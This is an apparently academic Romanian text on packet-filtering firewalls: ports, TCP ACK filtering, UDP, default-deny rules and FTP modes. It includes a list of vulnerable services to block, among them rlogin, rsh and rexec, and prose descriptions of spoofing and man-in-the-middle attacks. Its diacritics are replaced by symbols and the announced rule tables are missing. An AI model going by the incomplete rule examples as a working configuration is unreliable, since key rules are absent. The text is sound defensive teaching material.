Un sistem de filtrare a pachetelor trimite pachete @ntre sistemele gazd[ interne ]i cele externe unei re\ele , @ntr-o manier[ selectiv[ . El permite sau blocheaz[ trecerea unor anumite tipuri de pachete, @n func\ie de politic[ de control al accesului @n re\ea .
Filtrarea pachetelor se realizeaza pe baza unui set de reguli stabilite de administratorul sistemului . Aceste reguli permit sau blocheaz[ trecerea unui anumit pachet prin testarea uneia sau mai multor informa\ii din antetul pachetului. Filtrarea de pachete IP se poate face \in`nd cont de urm[toarele c`mpuri din antetul unui pachet :
adresa IP a sursei ;
adresa IP a destina\iei;
protocolul (TCP sau UDP);
port-ul surs[ TCP/UDP;
port-ul destina\ie TCP/UDP .
Filtrarea poate fi folosit[ @ntr-o varietate de moduri: pentru a bloca conexiunile spre ]i dinspre anumite sisteme gazd[ sau re\ele , pentru a bloca conexiunile spre anumite port-uri etc. O organiza\ie poate dori blocarea conexiunilor cu anumite sisteme (adrese) considerate ostile sau @n care nu are @ncredere . Alternativ, o organiza\ie poate dori blocarea conexiunilor cu toate adresele externe, permit`nd doar func\ionarea serviciului de po]t[ electronic[. De exemplu, prin testarea adresei IP a sursei putem bloca toate pachetele care vin de la anumite sisteme @n care nu avem @ncredere . Server-ele pentru majoritatea serviciilor INTERNET ruleaz[ pe port-uri standard ( de exemplu , server-ul de TELNET ocup[ port-ul TCP 23) . Acest fapt d[ posibiliatea sistemului de filtrare s[ blocheze sau s[ permit[ anumite tipuri de conexiuni prin testarea port-ului destina\ie din antetul IP. De exemplu, dac[ stabilim regula *orice pachet al c[rui port destina\ie este 23 ]i al c[rui tip de protocol este TCP va fi blocat * , nu vom permite conexiuni TELNET.
Filtrarea de pachete se realizeaz[ ,de obicei, prin intermediul ruter-elor. Multe dintre ruter-ele comerciale au capacitatea de a filtra pachetele pe baza unor criterii cum ar fi : tipul protocolului, c`mpurile de adres[ surs[ , destina\ie ]i c`mpurile de control specifice unui tip particular de protocol. Aceste ruter-e , numite *ruter-e protectoare* ( screening ruters) , *ruter-e cu filtrarea pachetelor * (packet filter ruters) sau chiar *por\i cu filtrarea pachetelor* ( packet filter gateways) , pentru c[ filtrarea se poate face ]i pe baza unor c`mpuri apar\in`nd nivelului transport , furnizeaz[ un mecanism puternic pentru controlul tipului de trafic care poate exista pe un segment de re\ea. Control`nd tipul traficului , aceste ruter-e pot controla tipurile de servicii care pot exista pe acel segment de re\ea , serviciile care compromit securitatea re\elei put`nd fi astfel blocate .
Politica de acces la serviciile re\elei este cea care va defini protocoalele ]i c`mpurile care vor fi filtrate. Urm[toarele servicii sunt @n mod inerent vulnerabile ]i , de aceea , este recomandat[ blocarea lor (prin filtrare) la nivelul firewall-ului:
tftp (trivial file transfer protocol), port-ul 69 , folosit de obicei pentru secven\a de boot a sta\iilor f[r[ disc , a server-elor de terminale ]i ruter-elor. Configurat incorect, acesta poate fi folosit pentru citirea oric[rui fi]ier de pe sistem;
X Window, port-urile @ncep`nd de la 6000.Prin intermediul server-elor X, intru]ii pot ob\ine controlul asupra unui sistem gazd[;
RPC (Remote Procedure Call) , port-ul 111,inclusiv NIS ]i NFS, care pot fi folosite pentru a ob\ine informa\ii despre sistem (fi]ierul de parole ,de exemplu) ]i pentru scrierea sau cititrea de fi]iere;
rlogin, rsh ]i rexec, port-urile 513,514 ]i 512, servicii care , configurate necorespunz[tor , pot permite accesul neautorizat la conturi ]i comenzi sistem.
Urm[toarele servicii sunt, @n mod obi]nuit, filtrate ]i restric\ionate numai la acele sisteme care au nevoie de ele:
TELNET, port-ul 23, adesea restric\ionat numai spre anumite sisteme;
FTP, port-urile 20 ]i 21, restric\ionat numai spre anumite sisteme;
SMTP (Simple Mail Transfer Protocol) , port-ul 25 , restric\ionat la un server central de po]t[ electronic[;
RIP (Routing Information Service ), port-ul 520 , poate fi *@n]elat* ]i determinat s[ redirecteze pachetele;
DNS (Domain Names Service), port-ul 53 , proceseaz[ adrese , nume ]i informa\ii despre sistemele gazd[, informa\ii care pot folosi atacatorilor. Acest serviciu poate fi deasemenea *@n]elat*;
UUCP (UNIX-to-UNIX CoPy) ,port-ul 540 , configurat necorespunz[tor poate fi folosit pentru accesul neautorizat;
NNTP (Network News Transfer Protocol), port-ul 119, pentru accesul la diverse ]tiri din re\ea;
gopher, http, port-urile 70 ]i 80 , adesea restric\ionate spre o poart[ de aplica\ie (application gateway) pe care ruleaz[ servicii proxy corespunz[toare.
Avantajele filtr[rii de pachete:
un ruter cu facilit[\i de filtrare a pachetelor poate contribui la protejarea unei @ntregi re\ele;
ruter-ele, prin natura lor sunt plasate @n puncte strategice ale re\elei, control`nd traficul dintre exterior ]i @ntreaga re\ea;
chiar dac[ arhitectura de firewall impune folosirea mai multor ruter-e ( de exemplu dou[ , @n arhitectura cu subre\ea protejat[) , num[rul lor este cu mult mai mic dec`t num[rul sta\iilor ; deci configurarea ]i supravegherea lor este mult mai simpl[.
S[ consider[m un exemplu: presupunem c[ nu dorim s[ furniz[m in interior serviciul de TELNET. Putem dezactiva server-ele TELNET pe taote sta\iile interne, dar chiar ]i a]a , cineva poate, la un moment dat, s[ instaleze sau s[ reinstaleze un server TELNET. Pe de alt[ parte , dac[ serviciul TELNET nu este permis de c[tre ruter-ul prtector, server-ele de TELNET nu vor putea fi accesibile din exterior, chiar dac[ sunt active. In acest fel , serviciul va r[m`ne activ doar in re\eaua interioara.
exist[ anumite tipuri de atacuri care pot fi respinse doar prin filtrarea de pachete. De exemplu, atacurile care au la baza falsificare adresei surs[ : pachetele vin din exterior, dar au ca adres[ surs[ o adres[ intern[. Un ruter cu facilita\i de filtrare a pachetelor poate respinge aceste pachete ]tiind ce inseamn[ “vine din exterior” sau “vine din interior”;
filtrarea de pachete este o ob\iune disponibil[ in multe din ruter-ele comerciale sau cele disponibile liber , sub form[ software , in INTERNET. De exemplu, ruter-ele Cisco au un sistem de operare propriu (IOS-Internetwork Operating System) care permite, printre altele, ]I introducerea regulilor de filtrare a pachetelor.
Dezavantajele filtr[rii de pachete
prdusele actuale care realizeaz[ filtrarea de pachete sunt , in general, greu de configurat ]i, o dat[ configurate, greu de testat;
exist[ protocoale care nu pot fi securizate prin filtrartea de pachete;
unele politici de securitate nu pot fi implementate prin simpla filtrare a pachetelor . De exemplu , pachetele nu con\in informa\ii despre utilizatorii c[rora le apar\in.
Nivelurile de filtrare a pachetelor
Filtrarea la nivelul re\ea ( IP ). Antetul unui pachet IP co\ine patru informa\ii relevante pentru filtarea pachetelor:
adresa surs[ IP;
adresa destina\ie IP;
tipul de protocol la nivel transport(acesta este de obicei TCP sau UDP );
c`mpul deop\iuni IP.
Op\iunea IP cu care firewall-ul este confruntat mai des este cea de3 source routing (dirijarea de la surs[) . Dirijarea de la surs[ permite expeditorului unui pachet s[ specifice drumul pe care pachetul il va urma c[tre destina\ie, in loc s[ lase fiecare ruter de pe drumul pachetului s[ decid[ unde va trimite pachetul . Scopul ace3stei op\iuni este de a nu trimitr pchete in zone in care tabelele de dirijare a ruter-elor sunt incorecte (sau ruter-ele sunt defecte).
Op\iunea source routing este adesea folosit[ de atacatorii care incearc[ s[ evite m[surile de securitate prin impunerea unui drum nea]teptat pachetelor . Din aceast[ cauz[ , multe sisteme de filtrare interzic pachetele care au aceast[ op\iune activ[.
Filtrarea la nivelul transport (TCP, UDP) . Antetul TCP con\ine printre altele :
port-ul surs[ TCP -specific[ port-ul de pe sistemul surs[ folosit de procesul care a trimis pachetul;
port-ul destina\ie TCP -specific[ port-ul de pe sistemul destin\ie pe care “ascult[” procesul care va primi pachetul;
c`mpul de indicatori (flag-uri) TCP.
TCP este un protocol orientat pe conexiuni. Exist[ un pachet ini\ial care stabile]te conexiunea ]i ruta , apoi celelalte pachete , in ambele sensuri, vor parcurge aceast[ rut[ (client-server, respectiv server-client). Diferen\ierea intre primul ]i celelalte pachete este dat[ de un bit din c`mpul de flag-uri TCP , bitul ACK. Primul pachet are bitul ACK pus pe “0”, celelalte pachete au acest bit pus pe “1”.
Bitul ACK este foarte important din punct de vedere al filtr[rii de pachete . Pentru a bloca o conexiune TCP este suficient s[ bloc[m primul pachet al conexiunii (identificabil prin bitul ACK egal cu zero). Chiar dc[ urm[toarele pachete ( cu ACK egal cu 1) corespunz[toare aceleia]i conexiuni vor trece prin filtru , ele nu vor fi asamblate la destin\ie din cauza lipsei informa\iilor despre conexiune, informa\ii con\inute in primul pachet. In acest fel, conexiunea nu va fi realizat[.
Pe baza acestui fapt , putem impune o politica de securitate carte permite clien\ilor din interior s[ se conecteze la server-e externe , dar nu permite clien\ilor externin s[ se conecteze la server-e interne. Acesta se realizeaz[ interzic`nd pachetelor de start (ACK=0) care vin din exterior s[ treac[ prin filtru .
Un alt protocol folosit la nivel transport este UDP (User Datagram Protocol). Spre deosebire de TCP , acesta nu este un protocol orientat pe conerxiuni ; fiecare pachet este o entitate de sine st[t[toare, trimis[ spre destina\ie , f[r[ leg[tur[ cu celelalte pachete.
Antetul unui pachet UDP este similar cu antetul unui pachet TCP, dar nu con\ine un bit cu acela]i rol ca al ACK-ului de la TCP. Din acest motiv , conexiunile UDP sunt mult mai greu de filtrat . Pentru a interzice o conexiune trebuie blocate toate pachetele corespunz[toare acelei conexiuni , deoarece nu ]tim care este primul pachet , al doilea etc. De asemenea nu putem ]ti dac[ un pachet face parte dintr-o conexiune ini\ial[ din interior sau exterior.
In filtrarea UDP sunt posibile mai multe abord[ri:
interzicerea tuturor pachetelor UDP-cea mai sigur[, dar impune renun\area la toate serviciile din exterior bazate pe UDP ;
permiterea conexiunilor la anumite port-uri UDP standard , corespunz[toare unor anumite servicii considerate mai pu\in perticuloase.Aceasta prezint[ ins[ riscul de a fi permise ]i conexiuni ini\iate din exterior, eventul de un atacator;
exist[ implement[ri in care ruter-ul are capacitatea de a monitoriza pachetele UDP care vin din interoir c[tre exterior. Ruter-ul va permite doar trecerea acelor pachete care reprezint[ r[spunsul la pachetele (cererile ) memorate . Aceste r[spunsuri trebuie s[ aib[ ca surs[ sistemul gazda extern ]i port-ul pe care pachetul cerere le avea ca destina\ie ]i viceversa. Aceast[ abordare este numit[ “filtare dinamic[ de pachete”, deoarece ruter-ul @]i modific[ dinamic propriile reguli de filtrare.
Configurarea regulilor de filtrare a pachetelor
Primul pas in configurarea unui ruter cu facilit[\i de filtrare a pachetelor il reprezint[ decizia asupra serviciilor (]i deci tipurilor de pachete ) care vor fi permise , respectiv interzise.
Dup[ cum se ]tie , protocoalele sunt , prin natura lor, bidirec\ionale; in cadrul unui protocol, pachetele circul[ in ambele sensuri-cereri ]i r[spunsuri. Ca urmare, nu este suficient[ interzicerea pachetelor pentru un anumit protocol doar intr-un singur sens. Exist[ o diferen\[ intre termenii “intr[” ]i ”ies” , relativ la pachete ]i protocoale, deoarece un protocol care “iese” este un protocol ini\iat din interior pentru a primi servicii din exterior , dar el implic[ circula\ia pachetelor in ambele sensuri : pachetele care intr[ ( vin din exterior c[tre interior ) ]i pachtele care ies ( pleac[ din interior c[tre exterior ).
Filtrarea pachetelor se realizeaz[ pe baza unor reguli care fac parte din configura\ia ruter-ului. Pe l`ng[ aceste reguli introduse explicit , exist[ reguli implicite care pot fi :
interzicerea implicit[- tot ceea ce nu este in mod expres permis este inrezis;
permiterea implicit[ – tot ceea ce nu este in mod expres interzis este permis.
A]a cum am mai spus , din punctul de vedere al securit[\ii este mult mai bine s[ fie adoptat[ regula interzicerii implicite , deoarece niciodat[ nu putem fi siguri c[ am prev[zut toate situa\iile posibile in care un pachet va trebui interzis.
Exemplific[m , in continuare, c`teva reguli de filtrare a pachetelor. Sintaxa adoptat[ este abstract[ , fiecare implementare av`nd propriile modali\[ti de introducere a regulilor. Regulile fac parte din configura\ia ruter-ului. Pentru a decide asupra trimiterii sau interzicerii unui pachet, regulile sunt parcurse pe r`nd, p`n[ se g[se]te o concordan\[ (o regul[ care s[ se aplice pachetuilui respectiv ) . #n acel moment, pachetului i se aplic[ verdictul regulei respective. Dac[ nu a fost g[sit[ nici o concordan\[ , pachetului i se aplic[ regula implicit[.
Se poate realiza:
Filtrarea dup[ adres[. Sunt permise pachete care vin de la , respectiv pleac[ la anumite sisteme gazd[ ( considerate de incredere). De exemplu , s[ presupunem c[ permitem comunic\ia doar cu re\eaua av`nd adresa 1.2. 3. X , cu x=1,..,8.
Regulile pot fi urm[toarele:
Dup[ cum am precizat , regulile sunt prezentate intr-un mod abstract. Intr-o implementare concret[ , expresia “intern[” va fi inlocuit[ cu adresa unui sistem gazd[ din re\eaua intern[ , iar x va corespunde fiec[ruia dintre sistemele gazd[ externe acceptate. Primele dou[ reguli ( A ]i B ) permit irice fel de conexiune cu re\eaua respectiv[. Regula C are rolul de regul[ implicit[ : orice pachet care nu se supune uneia dintre primele dou[ reguli va fi rejectat.
Prin filtrarea dup[ adres[ putem preveni atacurile bazate pe pachete care vin din exterior , dar pretind c[ au adres[ intern[:
Riscurile filtr[rii dup[ adres[ sunt urm[toarele:
simpla filtrare dup[ adres[ este nesigur[ deoarece adresa surs[ poate fi falsificat[ . Un atacator poate trimite pachete care pretind c[ vin de la un sistem gazd[ de incredere. Evident, atacatorul nu va primi pachetele de r[spuns (care vor fi trimise spre sistemul de la care pachetele pretind c[ vin ) , dar acestea nu sunt neap[rat necesare pentru ca atacatorul s[ aib[ loc;
un alt atac , care se bazeaz[ tot pe falsificarea adresei, este atacul de tip “omul din mijloc ” ( man in the midle ). Aceswta este condi\ionat de situareaq atacatorului pe drumul parcurs de pachete intre cele dou[ sisteme gazd[ care comunic[. In acest caz, atacatorul poate trimite propriile pachete falsific`ndu-le adresele surs[ , primind ]I r[spunsurile care vor trece pe la el , in drumul lor spre destina\ia propus[.
O modalitate de ap[rare impotriva acestor atacuri o reprezint[ autentificarea reciproc[ dintre cele dou[ p[r\i, folosind mecanisme criptografice avansate.
Filtrarea dup[ serviciu. Inseamn[ , de fapt, filtrarea dup[ port-urile adres[ ]I destina\ie. Port-urile in UNIX sunt de dou[ categorii:
port-uri privilegiate – intre 0 ]I 1023. Acestea pot fi folosite doar de c[tre superuser. Aceste port-uri sunt , de obicei , ocupate doar de c[tre server-e ]i nu de c[tre clien\i . Server-ele pentru cele mai utilizate servicii INTERNET au ca proprietar superuser-ul ]I ruleaz[ pe port-uri privilegiate , impuse prin standardele INTERNET (RFC). De exemplu, server-ul de TELNET ruleaz[ pe port-ul 23;
port-uri neprivilegiate – mai mari de 1024. Majoritatea aplica\iilor , inclusiv clien\ii pentru serviciile INTERNET , folosesc port-uri din aceast[ categorie , alocate aleator de c[tre sistemul de operare.
Prezent[m , @n continuare, un set de reguli care permit utilizatorilor interni s[ se conecteze prin TELNET la server-e externe , presupun`nd c[ acesta este singurul serviciu permis .
Regula A permite deschiderea unei conexiuni TELNET din interior. Regula B permite pachetelor de r[spuns s[ se intoarc[ ]i nu permite deschiderea unei conexiuni din exterior spre interior, datorit[ test[rii bitului ACK. Regula C este regula implicit[.
Dac[ se dore]te permiterea doar a serviciului TELNET , dar in ambele sensuri , atunci regulile sunt urm[toarele:
#n regula C nu am impus condi\ia ca bitul ACK s[ fie sdetat pe 1, de]i pachetele care corespund acestei reguli sunt pachete de r[spuns la conbexiunea ini\iat[ din exterior. Explica\ia este c[] aceste pachete provin de la port-ul server-ului de TELNET care , oricum , nu poate ini\ia conexiuni.
#n nici o politic[ de filtrare a pachetelor nu ne putem baza pe port-ul surs[ al pachetelor care vin din exterior. Acestea, deoarece orficine are dreptul se superuser pe un sistem gazd[ poate rula orice aplicie dore]te , pe orice port. @n cazul general , @in care furniz[m mai multe servicii, rwegulile corespunz[toare fiec[rui serviciu vor fi @]irate una dup[ alta , form`nd setul de reguli de filtrare al ruter-ului.
Din punctul de vedere al filtr[rii de pachete , nu conteaz[ ac\iunile ( semnifica\ia con\inutului pachetului ) care se desf[]oar[ @n cadrul unui protocol de nivel aplica\ie. Singurele aspecte relevante sunt port-ul pe care ruleaz[ server-ul pentru protocolul respectiv ]i partea care ini\iaz[ conexiunea ( din interior c[tre un server extern sau din exterior c[tre un server intern).
Majoritate protocoalelor bazate pe TCP respect[ aceea]I filozofie:
server-ul ruleaz[ pe un port standard privilegiat (<10230;
clientul ruleaz[ pe un port aleator neprivilegiat;
conexiunea este deschis[ de c[tre client.
Presupun1nd c[ server-ul ruleaz[ pe port-ul standard P , regulile pentru furnizarea unui astfel de serviciu , prin filtrarea de pachete , sunt:
Pentru serviciul furnizat din exterior , pentru utilizatori interni:
Pentru serviciul furnizat de un server intern, pentru utilizatorii externi:
Exist[ @ns[ servici care se abat de la aceste principii . Astfel , server-ele X11 (care implementeaz[ X Window ) ruleaz[ pe port-uri neprivilegiate (6000 .. 6003 ).
Problema cea mai interesant[ apare @ns[ la FTP. In acest caz , clientul deschide @nt`i o conexiune c[tre server (pe port-ul TCP 21 ), numit[ canal de comand[ , apoi server-ul deschide o conexiune c[trew client, numit[ canal de date. Canalul de date se ceeaz[ de pe port-ul 20 al server-ului pe un port neprivilegiat al clientului.
S[ presupunem acum c[ dorim s[ permitem FTP prin filtarea de pachete. Atunci, pentru a permite stabilirea canalului de date , vor exista dou[ reguli de genul:
prin existen\a acestor dou[ reguli , permitem ca orice sistem gazd[ extern s[ deschid[ conexiuni pe orice port neprivilegiat de pe sistemele gazd[ interne. Aceasta @nseamn[ c[ orice server care ruleaz[ pe un astfel de port poate fi accesat , deci poate fi atacat. In particular, se pot ini\ia astfel de atacuri @mpotriva server-elor X11 , care ruleaz[ pe port-urile 6000..6003.
Deci, FTP nu poate fi furnizat direct , utiliz`nd (doar) filtrarea de pachete. Exist[ @ns[ c`teva solu\ii pentru a permite FTP printr-un firewall:
FTP nu va fi furnizat direct , ci printr-un serviciu proxy care va rula pe un sistem gazd[-bastion. Ce sunt serviciile proxy ]I sistemele gazd[-bastion vom ar[ta ulterior;
introducerea unor reguli suplimentare , @aintea celor dou[ ,care s[ blocheze pachetele venite din exterior, care au ca destina\ie anumite port-uri neprivilegiate de pe sistemele interne, ]i anume, acele port-uri folosite de server-ele care accept[ conexiuni ]i pot fi atacate ( de exemplu , server-ele X11 ) . Aceast[ m[sur[ este un exemplu de folosire a regulei * permiterea implicit[ * ( bloc[m anumite port-uri ]i permitem implicit accesul la toate celelalte );
exist[ o variant[ de furnizare a FTP , numit[ FTP pasiv. In aceast[ variant[ canalul de date este deschis tot de client, nu de server . Cele dou[ reguli, prezentate mai @nainte vor fi acum :
In acest caz, orice conexiune va fi ini\iat[ din interior, deci un atacator nu va putea ini\ia o conexiune pentru a-]i desf[]ura atacul. Putem ,de asemenea , furniza FTP pasiv printr-un serviciu proxy. Pentru aceasta , trebuie modifica\i sau @nlocui\i clien\ii FTP interni. Clien\ii FTP din ultimele genera\ii , cum sunt cei @ncorpora\i @n browser-ele de Web (care au ap[rut ulterior apari\iei firewall-urilor din INTERNET ), implementeaz[ ]i modul pasiv . Problema cu modul pasiv este c[ nu toate server-ele @l suport[ ]i, din aceast[ cauz[ , conexiunile FTP spre anumite server-e vor e]ua.
Copyright Notice
© Licențiada.org respectă drepturile de proprietate intelectuală și așteaptă ca toți utilizatorii să facă același lucru. Dacă consideri că un conținut de pe site încalcă drepturile tale de autor, te rugăm să trimiți o notificare DMCA.
Acest articol: Securitatea Datelor pe Internet (ID: 148837)
Dacă considerați că acest conținut vă încalcă drepturile de autor, vă rugăm să depuneți o cerere pe pagina noastră Copyright Takedown.
